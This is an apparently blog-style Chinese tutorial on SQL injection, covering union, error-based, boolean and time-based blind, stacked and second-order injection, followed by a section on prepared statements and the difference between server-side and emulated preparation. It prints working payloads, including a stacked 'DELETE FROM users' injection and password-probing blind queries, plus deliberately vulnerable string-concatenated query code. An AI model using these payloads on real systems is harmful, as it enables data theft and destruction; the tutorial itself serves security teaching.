SQL注入与防御:从攻击原理到预编译防御

重新认识SQL注入

核心观点:其实并不存在什么"SQL注入",我们是正常用户,正常传入数据。只不过其他人查询的是管理员让你看的,而我们是绕过某些限制,看到了正常用户看不到的信息。

数据库信息探秘:三个关键系统表

在开始之前,我们需要了解数据库中的三个默认表,它们是我们的"地图":

复制代码
- SCHEMATA - 存储所有数据库信息
- TABLES - 存储所有表信息  
- COLUMNS - 存储所有字段信息

正常查询 vs 信息探测查询

正常业务查询:

SELECT * FROM test.user;

信息探测查询:

复制代码
-- 查看所有数据库
SELECT schema_name FROM information_schema.schemata;

-- 查看特定数据库(test)中的所有表
SELECT table_name, table_type, engine, create_time 
FROM information_schema.tables 
WHERE table_schema = 'test';

-- 查看特定表(user)的所有字段
SELECT column_name, data_type, is_nullable, column_default 
FROM information_schema.columns 
WHERE table_schema = 'test' AND table_name = 'user';

SQL注入类型区分

数字型注入

接收语句示例:

String sql = "SELECT id, title, content, author FROM articles WHERE id = " + id;

特征:参数直接拼接,我们直接写语句即可

攻击示例:

id = 1 AND 1=2 UNION SELECT username, password FROM users --

字符型注入(主要攻击场景)

接收语句示例:

sql = f"SELECT * FROM users WHERE username = '{username}' AND password = '{password}'"

特征:传入参数在引号内部,我们需要进行闭合

SQL注入攻击流程

判断攻击类型

数字型判定

id=1 AND 1=1 -- 永真,应返回正常页面

id=1 AND 1=2 -- 永假,应返回异常或空页面

字符型判定

username=admin' AND '1'='1 -- 永真

username=admin' AND '1'='2 -- 永假

字符型闭合原理详解

原查询语句:

sql = f"SELECT * FROM users WHERE username = '{username}' AND password = '{password}'"

当我们传入:

username=admin&password=admin' AND '1'='1

最终语句变成:

SELECT * FROM users WHERE username = 'admin' AND password = 'admin' AND '1'='1'

我们传入的参数完美融入了语句,成为了语句的一部分。就像开头说的一样:我们是正常的用户,输入的是正常的语句。

获取数据的方法

1. 联合查询(Union-Based)

我们使用的语句包括:IF、CONCAT、SUBSTRING、LIKE、UNION等。在禁止某些函数的情况下,可以更换函数达到相同的查询效果。

2. 报错注入(Error-Based)

主要使用updatexml()、extractvalue()函数实现。

使用条件:配置有报错处理示例代码环境:

复制代码
$sql = "SELECT * FROM users WHERE id = $id";
$result = $conn->query($sql);

if (!$result) {
    echo "MySQL错误信息: " . $conn->error . "<br><br>";
} elseif ($result->num_rows > 0) {
    while($row = $result->fetch_assoc()) {
        echo "ID: " . $row["id"]. " - 用户名: " . $row["username"]. "<br>";
    }
} else {
    echo "没有找到结果<br>";
}

攻击语句:

id=1 and updatexml(1, concat(0x7e, (select database()), 0x7e), 1)

因为代码中做了报错处理,会出现报错信息。我们通过修改报错信息的输出内容,最终让报错信息显示为我们想要的数据库名。

盲注技术

个人理解:这就是一个不存在平局的猜拳游戏,只有两个结果。

1. 布尔盲注(Boolean-Based)

布尔值只有True和False两个状态,我们通过不断测试来获取信息。

示例:

SELECT * FROM users WHERE username = 'username' AND password = 'password'

我们传入:

username=admin' and (select length(password) from users where username='admin') = 10#

这句话就是在猜测admin用户的密码长度是不是10位:

  • 如果正确,会显示正常页面

  • 如果错误,会显示错误页面

我们通过页面回显来判断猜测是否正确。(#会注释掉后面的语句)

2. 时间盲注(Time-Based)

和布尔盲注类似,只不过我们使用sleep()函数来判断。

示例:

username=admin' AND IF((SELECT length(password) FROM users WHERE username='admin')=10, SLEEP(5), 0)--

这段语句判断admin用户的密码长度是不是10位:

  • 如果正确,会延迟5秒响应

  • 如果错误,会立即返回

我们根据是否有延迟来判断猜测是否正确。

其他攻击手法

4. 堆叠注入(Stacked Queries)

简单来说就是两个语句同时执行。

原语句:

SELECT * FROM users WHERE username = 'username' AND password = 'password'

攻击语句:

username=admin'; DELETE FROM users WHERE 1=1--

组合后:

SELECT * FROM users WHERE username = 'admin'; DELETE FROM users WHERE 1=1--' AND password = '$password'

5. 二次注入(Second-Order Injection)

问题存在于插入和调用两个环节。

攻击流程:

  1. 注册时存入恶意用户名:' UNION SELECT database()--

  2. 登录时系统自动调用查询

假设默认查询语句:

sql="SELECT * FROM users WHERE username = 'admin';"

实际组合后:

SELECT * FROM users WHERE username = '' UNION SELECT database()--';"

就会显示出数据库信息。

总结:SQL注入的本质是让我们的输入成为合法的SQL语句部分,从而绕过正常的数据访问限制。理解原理比记忆语句更重要!

现在我们简单了解了攻击手段,我们了解一下怎么防御?

我们主要的防御手段为------预编译

预编译

这就是一个标准的预编译语句

复制代码
String sql = "SELECT * FROM users WHERE username = ? AND email = ?";
PreparedStatement pstmt = connection.prepareStatement(sql);
pstmt.setString(1, "alice"); // 设置第一个问号的值为 "alice"
pstmt.setString(2, "alice@example.com"); 

ResultSet rs = pstmt.executeQuery();

我们可以看到和之前的语句不一样,不是根据我们传入的参数(类似username=admin),而是一个问号(?)。

看下面的代码,代码是直接将传入的数据填入语句中。在这个过程中,语句是固定的。不存在安全隐患。看上去确实是完美。那么说就不存在SQL注入了吗??

其实预编译分为真实预编译和虚假预编译。

其主要的区别为:该语句是由服务器定死的还是我们可以发挥主观能动性,自己修改的。

真实预编译:

复制代码
// 连接字符串中开启服务端预编译
String url = "jdbc:mysql://localhost:3306/test?useServerPrepStmts=true";
Connection conn = DriverManager.getConnection(url, "user", "pass");

// 这行代码执行时,SQL模板就发送到数据库进行预编译了
PreparedStatement pstmt = conn.prepareStatement("SELECT name FROM users WHERE id = ?");

// 只发送参数给数据库
pstmt.setInt(1, 100);
ResultSet rs = pstmt.executeQuery();
复制代码

虚拟预编译:

复制代码
// 连接字符串中关闭服务端预编译(或使用默认)
String url = "jdbc:mysql://localhost:3306/test?useServerPrepStmts=false";  
Connection conn = DriverManager.getConnection(url, "user", "pass");

// 这行代码几乎什么都不做
PreparedStatement pstmt = conn.prepareStatement("SELECT name FROM users WHERE id = ?");

// 客户端把参数拼接成完整SQL:SELECT name FROM users WHERE id = 100
pstmt.setInt(1, 100);
ResultSet rs = pstmt.executeQuery();  // 发送完整SQL到数据库

看着差不多,代码的区别为useServerPrepStmts=true/false这个选项。开启了我们就真的可以放弃了。

这个选项的意义就是是否开启预编译,在Mysql中这个选项是默认关闭的。这就给我们攻击手段的最后的希望。

相关推荐
小陈工3 小时前
Python Web开发入门(十七):Vue.js与Python后端集成——让前后端真正“握手言和“
开发语言·前端·javascript·数据库·vue.js·人工智能·python
科技小花8 小时前
数据治理平台架构演进观察:AI原生设计如何重构企业数据管理范式
数据库·重构·架构·数据治理·ai-native·ai原生
一江寒逸8 小时前
零基础从入门到精通MySQL(中篇):进阶篇——吃透多表查询、事务核心与高级特性,搞定复杂业务SQL
数据库·sql·mysql
D4c-lovetrain8 小时前
linux个人心得22 (mysql)
数据库·mysql
阿里小阿希9 小时前
CentOS7 PostgreSQL 9.2 升级到 15 完整教程
数据库·postgresql
荒川之神9 小时前
Oracle 数据仓库雪花模型设计(完整实战方案)
数据库·数据仓库·oracle
做个文艺程序员9 小时前
MySQL安全加固十大硬核操作
数据库·mysql·安全
不吃香菜学java9 小时前
Redis简单应用
数据库·spring boot·tomcat·maven
一个天蝎座 白勺 程序猿9 小时前
Apache IoTDB(15):IoTDB查询写回(INTO子句)深度解析——从语法到实战的ETL全链路指南
数据库·apache·etl·iotdb
不知名的老吴9 小时前
Redis的延迟瓶颈:TCP栈开销无法避免
数据库·redis·缓存